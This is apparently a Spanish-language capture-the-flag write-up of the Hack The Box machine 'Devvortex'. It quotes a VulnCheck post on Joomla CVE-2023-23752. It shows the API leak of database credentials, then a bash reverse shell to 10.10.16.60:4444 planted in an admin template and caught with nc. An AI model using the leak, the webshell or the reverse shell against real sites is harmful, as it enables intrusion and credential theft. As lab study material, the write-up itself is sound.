nmap

```
nmap 10.10.11.242
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-13 11:51 CET
Nmap scan report for Devvortex (10.10.11.242)
Host is up (0.34s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.80 seconds
```

```
gobuster dir -u http://devvortex.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://devvortex.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 178] [--> http://devvortex.htb/images/]
/css                  (Status: 301) [Size: 178] [--> http://devvortex.htb/css/]
/js                   (Status: 301) [Size: 178] [--> http://devvortex.htb/js/]
Progress: 3828 / 220561 (1.74%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 3974 / 220561 (1.80%)
===============================================================
Finished
===============================================================
```

```
gobuster dns -d devvortex.htb -w /usr/share/wordlists/amass/subdomains-top1mil-20000.txt -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     devvortex.htb
[+] Threads:    20
[+] Timeout:    1s
[+] Wordlist:   /usr/share/wordlists/amass/subdomains-top1mil-20000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: dev.devvortex.htb

Progress: 107 / 20001 (0.53%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 107 / 20001 (0.53%)
===============================================================
Finished
===============================================================
```

#Buscamos dentro del dev

robots.txt

#Vamos a la página /robot.txt
http://dev.devvortex.htb/robots.txt

```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
```

```
gobuster dir -u http://dev.devvortex.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.devvortex.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/images/]
/home                 (Status: 200) [Size: 23221]
/media                (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/media/]
/templates            (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/templates/]
/modules              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/modules/]
/plugins              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/plugins/]
/includes             (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/includes/]
/language             (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/language/]
/components           (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/components/]
/api                  (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/api/]
/cache                (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cache/]
/libraries            (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/libraries/]
/tmp                  (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/tmp/]
/layouts              (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/layouts/]
/administrator        (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/administrator/]
/cli                  (Status: 301) [Size: 178] [--> http://dev.devvortex.htb/cli/]
```

#Nos dirigimos a /administrator
http://dev.devvortex.htb/administrator/

#Nos encontramos con una página de login.

#Vemos un artículo como habla de un RCE en Joomla.
https://vulncheck.com/blog/joomla-for-rce

CVE-2023-23752

CVE-2023-23752 to Code Execution #1

As discussed, CVE-2023-23752 is an authentication bypass resulting in an information leak. Most of the public exploits use the bypass to leak the system's configuration, which contains the Joomla! MySQL database credentials in plaintext. The following demonstrates the leak:

```
curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
*   Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/
v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/
config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":
{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for
maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":
1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":
{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},
{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i*
Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":
{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},
{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":
{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},
{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":
{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},
{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":
{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-
pages":4}}
```

In the proof of concept above, the server responds with the credentials `root:labpass1`, which are the credentials for our test Joomla! MySQL account. But it's important to know that our test MySQL server was bound to `127.0.0.1`, so the remote attacker can't access the server, making the credentials mostly useless. Binding MySQL to the localhost should be the most common configuration, which severely limits this credential leak.
However, it appears there are a good number of internet-facing Joomla! installations that use a MySQL server that *isn't* bound to `127.0.0.1`. Censys shows thousands of Joomla! Servers colocated with an exposed MySQL server.

An attacker with credentials to the MySQL server won't automatically be able to execute arbitrary code. Old MySQL attack techniques that manipulate local files should be unusable on any modern and/or decently configured server. But access to the MySQL server should still provide a path to code execution.
Access to the database allows the attacker to change the Joomla! Super User's password. Joomla! even documents how this can be done using only database access. The following demonstrates the password change to "secret" using the MySQL client.

```
mysql> use joomla_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+------------------------------+
| Tables_in_joomla_db          |
+------------------------------+
| xj3n0_action_log_config      |
| xj3n0_action_logs
... truncated ...
mysql> select * from xj3n0_users;
```

```
+-----+------+--------------+---------------------+--------------------------------------------------------------+-------+----------+---------------------
+---------------------+------------+--------+--------------+------------+--------+------+-------------+-------------+
| id  | name | username     | email               | password                                                     | block | sendEmail | registerDate      |
lastvisitDate      | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+------+--------------+---------------------+--------------------------------------------------------------+-------+----------+---------------------
+---------------------+------------+--------+--------------+------------+--------+------+-------------+-------------+
| 552 | jake | albinolobster | albinolobster@vulncheck.com | $2y$10$GL9tEHKez5Wa6sr2CjXXmetAr6cOOo7DpE9j1KaeJCIy1UwnaYUVO |
0 |          1 | 2023-03-17 15:07:45 | 2023-03-17 16:41:04 | 0       |       | NULL          |       0 |     |   |           0 |             |
+-----+------+--------------+---------------------+--------------------------------------------------------------+-------+----------+---------------------
+---------------------+------------+--------+--------------+------------+--------+------+-------------+-------------+
1 row in set (0.00 sec)

mysql> Update xj3n0_users SET password = "d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199" WHERE
id=552;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql>
```

The attacker can then log into the Joomla! administrative web interface. As the Super User, the attacker has two easy paths to execute arbitrary code.
1. Modify a template to include malicious PHP. The image below demonstrates the addition of a tiny webshell to `index.php`. This will allow the attacker to execute arbitrary code as the `www-data` user by sending requests to the instance's landing page (e.g. `curl -k http://10.9.49.205/?cmd=whoami`)

1. Install a malicious plugin such as Joomla-webshell-plugin.
Both are viable options. Both are achievable because the MySQL credential leak allows the attacker to take over a Super User account. That isn't the only way though. CVE-2023-23752 provides a second method for chasing after a Super User account.

CVE-2023-23752 to Code Execution #2

Instead of leaking the MySQL credentials, the attacker can leak the Joomla! user database using CVE-2023-23752:

```
curl -v http://10.9.49.205/api/index.php/v1/users?public=true
*   Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/users?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 16:11:38 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 16:11:38 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 418
< Content-Type: application/vnd.api+json; charset=utf-8
<
* Connection #0 to host 10.9.49.205 left intact
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/users?public=true"},"data":[{"type":"users","id":"552","attributes":{"id":
552,"name":"jake","username":"albinolobster","email":"albinolobster@vulncheck.com","block":0,"sendEmail":
1,"registerDate":"2023-03-17 15:07:45","lastvisitDate":"2023-03-20 15:35:58","lastResetTime":null,"resetCount":0,"group_count":
1,"group_names":"Super Users"}}],"meta":{"total-pages":1}
```

The database output contains usernames, emails, and assigned group (e.g. `Super Users`). This should be enough for credential stuffing or brute forcing to achieve Super User access. Some bad administrators might even reuse the MySQL password for the Super User account. Either way, this additional leak has the added benefit of not relying on MySQL being reachable. Once Super User access is achieved, the attacker can follow the previously discussed paths to code execution.

Conclusion

CVE-2023-23752 is an authentication bypass resulting in an information leak on Joomla! Servers. Although rated as a CVSSv3 5.3 (Medium severity) by NVD, this vulnerability could allow an attacker to achieve code execution under the right circumstances. That likely justifies the interest attackers have shown in this vulnerability.
The total number of vulnerable servers was never high and patching has occurred at a good rate. However, anyone using Joomla! Version 4 should probably consider rotating all passwords. Additionally, examining template files for webshells and auditing all installed plugins would be beneficial.

RCE

curl "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true" | jq .

```
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2010    0  2010    0     0   4006      0 --:--:-- --:--:-- --:--:--  4020
```


```
{
  "links": {
    "self": "http://dev.devvortex.htb/api/index.php/v1/config/application?public=true",
    "next": "http://dev.devvortex.htb/api/index.php/v1/config/application?
public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
    "last": "http://dev.devvortex.htb/api/index.php/v1/config/application?
public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
  },
  "data": [
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "offline": false,
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "offline_message": "This site is down for maintenance.<br>Please check back again soon.",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "display_offline_message": 1,
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "offline_image": "",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "sitename": "Development",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "editor": "tinymce",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "captcha": "0",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "list_limit": 20,
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "access": 1,
```

```
    "id": 224
   }
  },
  {
   "type": "application",
   "id": "224",
   "attributes": {
    "debug": false,
    "id": 224
   }
  },
  {
   "type": "application",
   "id": "224",
   "attributes": {
    "debug_lang": false,
    "id": 224
   }
  },
  {
   "type": "application",
   "id": "224",
   "attributes": {
    "debug_lang_const": true,
    "id": 224
   }
  },
  {
   "type": "application",
   "id": "224",
   "attributes": {
    "dbtype": "mysqli",
    "id": 224
   }
  },
  {
   "type": "application",
   "id": "224",
   "attributes": {
    "host": "localhost",
    "id": 224
   }
  },
  {
   "type": "application",
   "id": "224",
   "attributes": {
    "user": "lewis",
    "id": 224
   }
  },
  {
   "type": "application",
   "id": "224",
   "attributes": {
    "password": "P4ntherg0t1n5r3c0n##",
    "id": 224
   }
  },
  {
   "type": "application",
   "id": "224",
   "attributes": {
    "db": "joomla",
    "id": 224
   }
  },
  {
   "type": "application",
   "id": "224",
   "attributes": {
    "dbprefix": "sd4fg_",
    "id": 224
   }
  },
  {
   "type": "application",
   "id": "224",
   "attributes": {
    "dbencryption": 0,
    "id": 224
   }
  },
  {
   "type": "application",
   "id": "224",
   "attributes": {
```

```
        "dbsslverifyservercert": false,
        "id": 224
      }
    }
  ],
  "meta": {
    "total-pages": 4
  }
}
```


#Podemos ver como se filtan datos de un usuario llamado lewis.


```
  "type": "application",
      "id": "224",
      "attributes": {
        "user": "lewis",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "password": "P4ntherg0t1n5r3c0n##",
        "id": 224
```


#Tenemos credenciales.

lewis:P4ntherg0t1n5r3c0n##

Desde aquí supe que ejecutar código PHP es fácil y requiere edición de plantillas. Fui a Sistema->Plantillas->Plantillas de administrador->index.php

#Añadimos el RCD y le damos a guardar.

```
<?php

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.60/4444 0>&1'");

/**
 * @package     Joomla.Administrator
 * @subpackage  Templates.Atum
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org
```

#Con el listener activado. Tenemos ya un RCE.

```
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.60] from (UNKNOWN) [10.10.11.242] 53096
bash: cannot set terminal process group (878): Inappropriate ioctl for device
bash: no job control in this shell
www-data@devvortex:~/dev.devvortex.htb/administrator$

CONTROL+Z
stty raw -echo; fg
export TERM=xterm

www-data@devvortex:~/dev.devvortex.htb/administrator$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

priv_escalation

www-data@devvortex:~/dev.devvortex.htb/administrator$ mysql -u lewis -p

creeds

lewis:P4nthergOt1n5r3cOn##